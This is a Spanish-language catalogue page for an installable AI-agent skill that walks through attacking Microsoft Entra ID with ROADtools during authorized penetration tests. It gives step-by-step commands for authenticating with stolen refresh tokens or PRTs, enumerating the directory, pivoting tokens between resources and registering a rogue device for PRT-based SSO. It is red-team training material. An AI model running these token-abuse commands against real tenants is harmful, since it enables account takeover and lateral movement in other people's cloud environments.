Communitygithub.com

Atacando Entra ID con ROADtools

Enumera inquilinos de Microsoft Entra ID (Azure AD) con ROADrecon y roadtx para descubrimiento de identidad en la nube, intercambio de tokens y abuso de PRT.

¿Qué es Atacando Entra ID con ROADtools?

Este skill proporciona una guía completa para utilizar ROADtools, el conjunto ofensivo por excelencia de Dirk-jan Mollema, contra Microsoft Entra ID (Azure AD) durante pruebas de penetración autorizadas en la nube. Cubre desde la autenticación utilizando diversos flujos OAuth (como código de dispositivo, ROPC o tokens robados) hasta la enumeración completa del directorio con ROADrecon y el análisis offline a través de su interfaz gráfica y plugins. Además, detalla el uso de roadtx para la adquisición y el intercambio de tokens, incluyendo el pivoteo FOCI (Family of Client IDs) que permite reutilizar un token de actualización entre diferentes recursos de Microsoft, y las operaciones avanzadas con el Primary Refresh Token (PRT) para lograr un inicio de sesión único (SSO) persistente. Es compatible con plataformas Linux, macOS y Windows que ejecuten Python 3.7+ y requiere autorización escrita para el inquilino objetivo. La habilidad incluye mapeo MITRE ATT&CK, un flujo de trabajo paso a paso y criterios de validación claros, lo que la convierte en una herramienta indispensable para equipos rojos y pentesters que necesiten realizar descubrimiento, movimiento lateral y escalada de privilegios en entornos de identidad en la nube de Microsoft.

Compatible con~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

Preguntar en tu IA favorita

Abre un nuevo chat con esta habilidad de agente ya precargada.

Documentación

¿Qué hace Atacando Entra ID con ROADtools?

Solo para uso autorizado: ROADtools interactúa con inquilinos activos de Microsoft Entra ID (Azure AD) y puede registrar dispositivos, acuñar e intercambiar tokens, y enumerar objetos del directorio. Úsalo únicamente contra inquilinos que poseas o para los cuales tengas autorización explícita por escrito para realizar pruebas. El acceso no autorizado a un inquilino en la nube es ilegal.

Resumen

ROADtools (por Dirk-jan Mollema) es el conjunto ofensivo por defecto para Microsoft Entra ID. Tiene dos componentes principales:

  • ROADrecon — se autentica en Entra ID, recopila todo el directorio en una base de datos SQLite local a través de la API de Azure AD Graph, y sirve una interfaz gráfica Angular para explorar usuarios, grupos, roles, aplicaciones, entidades de servicio, políticas de acceso condicional y objetos de dispositivo sin conexión. Un sistema de plugins permite exportar a BloodHound y analizar políticas de CA.
  • roadtx (ROADtools Token eXchange) — adquiere e intercambia tokens emitidos por Entra ID a través de varios flujos OAuth (ROPC, código de dispositivo, código de autorización, intercambio de token de actualización, aplicación federada), realiza registro de dispositivos y maneja operaciones de Primary Refresh Token (PRT), incluyendo SSO basado en PRT y acuñación de cookies. Su conocimiento de FOCI (Family of Client IDs) permite que un token de actualización para un cliente propio se canjee por otro recurso.

Juntos cubren la fase de Descubrimiento contra la identidad en la nube: enumerar el inquilino (T1087.004 Account Discovery: Cloud Account) y obtener/manipular los tokens necesarios para acceder a Microsoft Graph, Azure Resource Manager y otros recursos. La base de datos offline de ROADrecon hace que el reconocimiento sea sigiloso y rápido; roadtx hace que el robo de tokens, el abuso de PRT y el pivoteo entre recursos sean prácticos.

Cuándo Usarlo

  • Durante una prueba de penetración autorizada de Azure/Entra ID o un red-team en la nube.
  • Cuando tengas una credencial de punto de apoyo, un token de actualización o un PRT y necesites enumerar el inquilino.
  • Cuando debas pivotar un token de un recurso (p. ej., Azure CLI) a otro (p. ej., Microsoft Graph).
  • Cuando estés validando que las políticas de acceso condicional, el cumplimiento de dispositivos y los controles de token realmente limitan a un atacante.
  • Cuando estés mapeando rutas de ataque de Entra ID (exportar a BloodHound para análisis de grafos).

Prerrequisitos

  • Autorización por escrito y alcance definido para el inquilino objetivo.
  • Una credencial inicial: nombre de usuario/contraseña (sin flujos MFA), una sesión de código de dispositivo, un token de acceso/actualización, o un PRT de un dispositivo registrado.
  • Python 3.7+ (los flujos Selenium de roadtx necesitan un geckodriver/Firefox compatible).
# Instalación principal (roadlib es una dependencia compartida, se instala automáticamente)
python -m pip install roadrecon
python -m pip install roadtx
# Verificar
roadrecon --help
roadtx --help

Objetivos

  • Autenticarse en Entra ID mediante el flujo apropiado (código de dispositivo preferido para MFA).
  • Recopilar todo el directorio con ROADrecon y analizarlo en la GUI.
  • Exportar el directorio a BloodHound y ejecutar los plugins de análisis de políticas de CA.
  • Adquirir tokens con roadtx e intercambiar tokens de actualización entre recursos/clientes.
  • Demostrar SSO basado en PRT y documentar el acceso resultante.

Mapeo MITRE ATT&CK

IDTácticaNombre de Técnica OficialRol en esta habilidad
T1087.004DescubrimientoDescubrimiento de Cuentas: Cuenta en la NubeROADrecon enumera usuarios/cuentas del inquilino
T1069.003DescubrimientoDescubrimiento de Grupos de Permisos: Grupos en la NubeROADrecon enumera grupos y roles de Entra ID
T1538DescubrimientoPanel de Control del Servicio en la NubeExploración GUI de la configuración del inquilino
T1550.001Evasión de Defensa / Movimiento LateralUso de Material de Autenticación Alternativo: Token de Acceso de AplicaciónIntercambio de token de actualización de roadtx entre recursos
T1528Acceso a CredencialesRobar Token de Acceso de AplicaciónAdquisición de token PRT/de roadtx

Flujo de Trabajo

Paso 1: Autenticarse con ROADrecon

Elige el flujo que coincida con tu punto de apoyo. El código de dispositivo soporta MFA; ROPC (-u/-p) no.

# Nombre de usuario/contraseña (heredado, sin MFA)
roadrecon auth -u [email protected] -p 'Password123!'

# Flujo de código de dispositivo (soporta MFA)
roadrecon auth --device-code

# Desde un token de acceso o actualización robado
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# Desde un PRT (con clave de sesión) para acceso de nivel SSO
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

La autenticación escribe .roadtools_auth en el directorio de trabajo.

Paso 2: Recopilar el directorio

# Recopilación completa en roadrecon.db (predeterminado)
roadrecon gather

# Incluir detalles de MFA/método de autenticación (requiere un rol con privilegios)
roadrecon gather --mfa

Paso 3: Explorar en la GUI

roadrecon gui
# Navega a http://127.0.0.1:5000 — usuarios, grupos, roles, aplicaciones,
# entidades de servicio, dispositivos y políticas de acceso condicional, todo offline.

Paso 4: Ejecutar plugins de análisis

# Analizar políticas de acceso condicional
roadrecon plugin policies -h
roadrecon plugin policies

# Exportar los datos recopilados a un formato importable por BloodHound
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

Paso 5: Adquirir tokens con roadtx

# ROPC: obtener un token de Microsoft Graph para el cliente Azure CLI
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# Autenticación interactiva estilo código de dispositivo para el cliente Teams a Graph
roadtx interactiveauth -c msteams -r msgraph

# Desde un token de actualización existente
roadtx gettokens --refresh-token <refresh_token> -r msgraph

Los tokens se escriben en .roadtools_auth (usa --tokens-stdout para imprimir).

Paso 6: Intercambiar tokens de actualización entre recursos (pivoteo FOCI)

Un token de actualización FOCI obtenido para un cliente propio puede canjearse por otro recurso sin reautenticación.

# Convertir el token de actualización almacenado en un token de Azure Resource Manager
roadtx refreshtokento -r azrm

# Convertir a un token de Graph con ámbito a través del cliente Teams
roadtx refreshtokento -c msteams -r msgraph

# Encontrar qué clientes propios tienen un ámbito dado
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

Paso 7: Registro de dispositivo y SSO basado en PRT

# Registrar un dispositivo (virtual) en el inquilino
roadtx device -n redteam-device

# Solicitar un PRT usando el certificado/clave del dispositivo y las credenciales del usuario
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# Usar el PRT para autenticar un cliente a un recurso (nivel SSO)
roadtx prtauth -c msteams -r msgraph

# Enriquecer un PRT con una reclamación MFA interactiva
roadtx prtenrich -u [email protected]

Paso 8: Inspeccionar tokens

# Decodificar e imprimir las reclamaciones del token almacenado o proporcionado
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

Herramientas y Recursos

HerramientaPropósitoFuente Principal
ROADtools (repositorio)Visión general del conjunto + wikihttps://github.com/dirkjanm/ROADtools
Wiki de ROADreconUso de autenticación/recopilación/GUI/pluginshttps://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
Wiki de roadtxIntercambio de tokens + flujos PRT/dispositivohttps://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CEAnálisis de grafo de datos exportados de Entra IDhttps://github.com/SpecterOps/BloodHound
Plataforma de identidad de MicrosoftReferencia de tokens/flujoshttps://learn.microsoft.com/entra/identity-platform/

Criterios de Validación

  • Autenticado en el inquilino objetivo mediante un flujo autorizado; .roadtools_auth creado.
  • Directorio recopilado en roadrecon.db (con --mfa donde el rol lo permita).
  • GUI explorada; usuarios, grupos, roles, aplicaciones, políticas de CA revisados.
  • Plugins de políticas de CA y BloodHound ejecutados; datos exportados.
  • Tokens adquiridos con roadtx para al menos un recurso.
  • Intercambio de token de actualización a un segundo recurso demostrado (pivoteo FOCI).
  • Dispositivo registrado y SSO basado en PRT demostrado (donde esté dentro del alcance).
  • Reclamaciones del token inspeccionadas con roadtx describe.
  • Hallazgos y acceso documentados para el informe del compromiso.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

Skills relacionados